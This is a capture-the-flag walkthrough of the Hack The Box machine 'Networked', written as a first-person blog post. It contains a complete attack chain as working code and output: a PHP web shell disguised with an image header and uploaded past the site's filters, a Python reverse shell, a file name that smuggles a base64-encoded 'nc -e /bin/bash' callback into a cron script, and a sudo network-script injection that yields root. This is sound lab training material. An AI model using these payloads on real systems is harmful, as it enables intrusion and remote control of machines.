Hack the Box Walkthrough: Networked

  about 1200 words  6 min 

Overview

This post provides a walkthrough of the Networked system on Hack The Box. This walktrough, in entirety, is a spoiler.

I create these walkthroughs as documentation for myself while working through a system; excuse any brevity or lack of formality. I’ve uploaded this walkthrough to help those that may be stuck.

Service Enumeration

To kick things off, we start with some service discovery to figure out what is actually running on this box.

Nmap Scan

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# nmap -T5 -A -Pn -n -p1-65535 10.10.10.146
[snip]
PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
|   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_  256 73💿a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https
[snip]

I ran dirbuster on port 80 and identified a backups folder. This folder had a backup.tar file in it.

Investigating backup.tar file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# tar -xvf backup.tar 
index.php
lib.php
photos.php
upload.php
# cat index.php
<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>

The index.php file is the same as the one you get when you hit the web server on port 80. Looking at uploads.php is interesting.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
require '/var/www/html/lib.php';

define("UPLOAD_DIR", "/var/www/html/uploads/");

if( isset($_POST['submit']) ) {
  if (!empty($_FILES["myFile"])) {
    $myFile = $_FILES["myFile"];

    if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
      echo '<pre>Invalid image file.</pre>';
      displayform();
    }

    if ($myFile["error"] !== UPLOAD_ERR_OK) {
        echo "<p>An error occurred.</p>";
        displayform();
        exit;
    }

    //$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
    list ($foo,$ext) = getnameUpload($myFile["name"]);
    $validext = array('.jpg', '.png', '.gif', '.jpeg');
    $valid = false;
    foreach ($validext as $vext) {
      if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
        $valid = true;
      }
    }

    if (!($valid)) {
      echo "<p>Invalid image file</p>";
      displayform();
      exit;
    }
    $name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;

    $success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
    if (!$success) {
        echo "<p>Unable to save file.</p>";
        exit;
    }
    echo "<p>file uploaded, refresh gallery</p>";

    // set proper permissions on the new file
    chmod(UPLOAD_DIR . $name, 0644);
  }
} else {
  displayform();
}
?>

Uploading Webshell

As we can see, the code attempts to only limit us to uploading images by checking the mime type as well as the extension. We can bypass the file header check by leveraging the php-jpeg-shell at https://github.com/jgor/php-jpeg-shell/blob/master/shell.php. This is a very simple PHP web shell that implements the file header of an image. To get around the extension filtering, we can simply name our file shell.php.jpg. The following burp requests shows exactly what I uploaded.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /upload.php HTTP/1.1
Host: 10.10.10.146
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.146/upload.php
Content-Type: multipart/form-data; boundary=---------------------------459163981244782371633368985
Content-Length: 532
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------459163981244782371633368985
Content-Disposition: form-data; name="myFile"; filename="shell.php.png"
Content-Type: application/x-php

ÿØÿà
<form action="" method="get">
Command: <input type="text" name="cmd" /><input type="submit" value="Exec" />
</form>
Output:<br />
<pre><?php passthru($_REQUEST['cmd'], $result); ?></pre>

-----------------------------459163981244782371633368985
Content-Disposition: form-data; name="submit"

go!
-----------------------------459163981244782371633368985--

Then you can navigate to the http://10.10.10.146/photos/ folder to find the new upload. Right click and view image and you wlil be taken to the ‘image’ with the webshell presented.

Getting Reverse Shell

To get a reverse shell we simply use the webshell and run the following

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

This lands us a shell as user apache.

Getting User Flag

Through enumeration, you find that there is a suspicious script in the guly user’s home dir. This script is called check_attack and it’s seemed fairly obvious that by the way it injects input in to the exec() commands, we can leverage some command injection.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
	$msg='';
  if ($value == 'index.html') {
	continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}
?>

I lost a good bit of time here because on my local asset I couldn’t get command exec to work using the ; command seperator. I assumed it would also not work on the networked box, but it did. To get a shell as guly we need to create a file in the /var/www/html/uploads folder than can invoke command injection. I created the file as follows

1
touch "asdf; base64 -d <<< bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE0LjExIDQ0NDQ= | sh

The above just base64 decodes the blob and runs it. The blob runs nc -e /bin/bash 10.10.14.11 4444.

And with that I got a shell as user guly and retrieved the flag at /home/guly/user.txt

Getting Root

During basic enum you find that guly can use sudo to run a script called /usr/local/sbin/changename.sh. The contents of this script as as follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
	echo "interface $var:"
	read x
	while [[ ! $x =~ $regexp ]]; do
		echo "wrong input, try again"
		echo "interface $var:"
		read x
	done
	echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
  
/sbin/ifup guly0

The script seems to imply that the goal is to inject something malicious that will be ran by ifup. The input had to conform to the regex noted above. The solution ended up being to provide sudo su as the input.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
[guly@networked sbin]$ sudo ./changename.sh                         
interface NAME:
  sudo su
interface PROXY_METHOD:
sudo su
interface BROWSER_ONLY:
sudo su
interface BOOTPROTO:
sudo su
[root@networked network-scripts]# whoami
root
[root@networked network-scripts]# cd /root/
[root@networked ~]# ls
root.txt
[root@networked ~]# cat root.txt 
0a8ecda83f1d81251099e8ac3d0dcb82

The above shows the sudo su input working and successful retrieval of the root flag.

I did some poking around and cursory review of some of the ifup helper scripts shows that the configuration is fed in through an exec command with ${CONFIG} passed as a variable. The sudo su input is being interpretted as a command during this process.